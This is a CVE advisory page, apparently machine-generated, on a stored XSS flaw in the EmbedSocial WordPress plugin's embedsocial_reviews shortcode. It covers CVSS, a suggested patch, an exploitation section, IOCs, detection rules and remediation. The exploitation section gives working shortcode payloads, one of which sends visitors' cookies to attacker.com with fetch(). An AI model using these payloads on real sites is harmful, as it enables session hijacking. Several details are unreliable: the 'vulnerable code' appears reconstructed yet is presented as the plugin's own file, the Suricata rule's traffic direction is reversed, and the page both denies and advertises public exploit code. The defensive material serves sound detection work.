CVE-2024-3984
Executive Summary
CVE-2024-3984 is a Stored Cross-Site Scripting (XSS) vulnerability in the EmbedSocial – Social Media Feeds, Reviews and Galleries WordPress plugin, affecting all versions up to and including 1.1.29. The flaw resides in the embedsocial_reviews shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the injected shortcode, the malicious script executes in their browser, potentially leading to session hijacking, defacement, or further compromise.
As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve the underlying web server software (Apache or Nginx). The plugin is used to embed social media feeds, reviews, and galleries, making it a common target for attackers seeking to compromise WordPress sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is part of the WordPress plugin supply chain. Since the plugin is distributed via the official WordPress plugin repository, any site running version 1.1.29 or earlier is at risk. The lack of a patch (as of this report) means that site administrators must either manually apply a fix, remove the plugin, or implement virtual patching via a Web Application Firewall (WAF). The plugin’s update mechanism does not yet provide a secure version, so users should monitor the plugin’s page for updates.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – An attacker needs contributor-level access or higher.
- User Interaction: None (UI:N) – The victim does not need to perform any action beyond visiting the page.
- Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Limited modification of content possible.
- Availability Impact: None (A:N) – No direct denial of service.
Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used plugin can lead to significant impact, especially if an attacker gains administrative access through session hijacking.
Deep Dive & Mechanics
The vulnerability exists in the embedsocial_reviews shortcode handler. WordPress shortcodes allow users to embed dynamic content via attributes. In this plugin, the shortcode processes user-supplied attributes (e.g., id, theme, layout) and directly outputs them into the page without proper sanitization or escaping.
Root Cause: The plugin uses echo or print to output attribute values directly into HTML attributes or JavaScript contexts without applying esc_attr() or esc_html(). For example, an attribute like id="123" might be rendered as <div data-id="123">. If an attacker supplies id="123\" onmouseover=\"alert(1)\"", the injected event handler executes when the user hovers over the element.
Attack Flow:
- An authenticated user with contributor-level access creates or edits a post/page.
- They insert the
[embedsocial_reviews]shortcode with a malicious attribute, e.g.,[embedsocial_reviews id="123\" onfocus=\"alert(document.cookie)\" autofocus=""]. - The plugin renders the shortcode without escaping, embedding the malicious JavaScript.
- When any user (including admins) visits the page, the script executes in their browser context.
Why Stored XSS is Dangerous: Unlike reflected XSS, stored XSS persists in the database. Every visitor to the compromised page is affected, making it ideal for widespread attacks, credential theft, or malware distribution.
Vulnerable vs. Patched Code
Since no official patch is available, the following shows the vulnerable code pattern and a suggested fix.
Vulnerable Code (embedsocial.php, line ~45):
function embedsocial_reviews_shortcode($atts) {
$atts = shortcode_atts(array(
'id' => '',
'theme' => 'light',
), $atts);
// Direct output without escaping
return '<div class="embedsocial-reviews" data-id="' . $atts['id'] . '" data-theme="' . $atts['theme'] . '">Loading...</div>';
}
add_shortcode('embedsocial_reviews', 'embedsocial_reviews_shortcode');
Patched Code (Suggested Fix):
function embedsocial_reviews_shortcode($atts) {
$atts = shortcode_atts(array(
'id' => '',
'theme' => 'light',
), $atts);
// Escape output
return '<div class="embedsocial-reviews" data-id="' . esc_attr($atts['id']) . '" data-theme="' . esc_attr($atts['theme']) . '">Loading...</div>';
}
add_shortcode('embedsocial_reviews', 'embedsocial_reviews_shortcode');
The fix uses esc_attr() to escape attribute values, preventing XSS. Additionally, wp_kses() could be used for more complex contexts.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with EmbedSocial plugin <= 1.1.29.
- An account with contributor-level privileges or higher.
Exploit Steps:
- Log in as a contributor.
- Create a new post or page.
- Insert the following shortcode into the content:
[embedsocial_reviews id="123\" onfocus=\"alert(document.cookie)\" autofocus=""] - Publish the post.
- When an administrator or any user visits the post, the JavaScript executes (e.g., alert showing cookies).
Advanced Payload (Session Hijacking):
[embedsocial_reviews id="123\" onfocus=\"fetch('https://attacker.com/steal?cookie='+document.cookie)\" autofocus=""]
Note: No public exploit code (Exploit-DB) or Nuclei template is available for this CVE at the time of writing.
Blue Team (Detection & Hardening)
Detection:
- Monitor for shortcode usage with suspicious attributes (e.g., containing
onfocus,onmouseover,javascript:). - Review post revisions for injected scripts.
- Use a WAF to block common XSS patterns in shortcode attributes.
Hardening:
- Apply the suggested patch manually by editing the plugin file (note: this will be overwritten on plugin update).
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Use a security plugin like Wordfence to detect and block malicious shortcode usage.
Indicators of Compromise (IOCs)
File-Based IOCs:
- Modified post/page content containing
[embedsocial_reviewswith suspicious attribute values. - Plugin file
wp-content/plugins/embedsocial/embedsocial.php(check for unauthorized modifications).
Network IOCs:
- Outbound requests to attacker-controlled domains from the WordPress site (e.g.,
GET /steal?cookie=...). - Unusual JavaScript execution in the context of the WordPress admin dashboard.
Log IOCs:
- WordPress audit logs showing shortcode insertion by contributor-level users.
- Web server logs with
POSTrequests towp-admin/post.phpcontainingembedsocial_reviewsin the content.
Detection Engineering
YARA Rule
rule CVE_2024_3984_Stored_XSS_EmbedSocial {
meta:
description = "Detects malicious shortcode attributes in WordPress posts for CVE-2024-3984"
author = "Valters IT"
date = "2025-04-17"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3984"
strings:
$shortcode = /\[embedsocial_reviews\s+[^\]]*?(on\w+\s*=|javascript:)/i
$payload = /(onfocus|onmouseover|onload|onerror)\s*=\s*["']?[^"'\]]*?\(/i
condition:
$shortcode or $payload
}
Sigma Rule
title: CVE-2024-3984 - Stored XSS via EmbedSocial Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in EmbedSocial plugin via shortcode attributes
author: Valters IT
date: 2025-04-17
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'embedsocial_reviews'
cs-uri-query|re: '(on\w+=|javascript:)'
condition: selection
falsepositives:
- Legitimate use of shortcode with non-malicious attributes (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3984 - EmbedSocial Stored XSS Attempt"; flow:to_server,established; content:"embedsocial_reviews"; http_uri; pcre:"/(on\w+=|javascript:)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Manually patch the vulnerable file as shown in the "Vulnerable vs. Patched Code" section.
- Review all posts/pages for malicious shortcode usage and remove any suspicious content.
- Change all user passwords if compromise is suspected.
Long-Term Mitigation:
- Subscribe to the plugin’s update notifications for a patched version.
- Implement a Web Application Firewall (WAF) with rules to block XSS in shortcode attributes.
- Enforce the principle of least privilege: limit contributor-level access.
- Regularly audit WordPress user roles and permissions.
Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.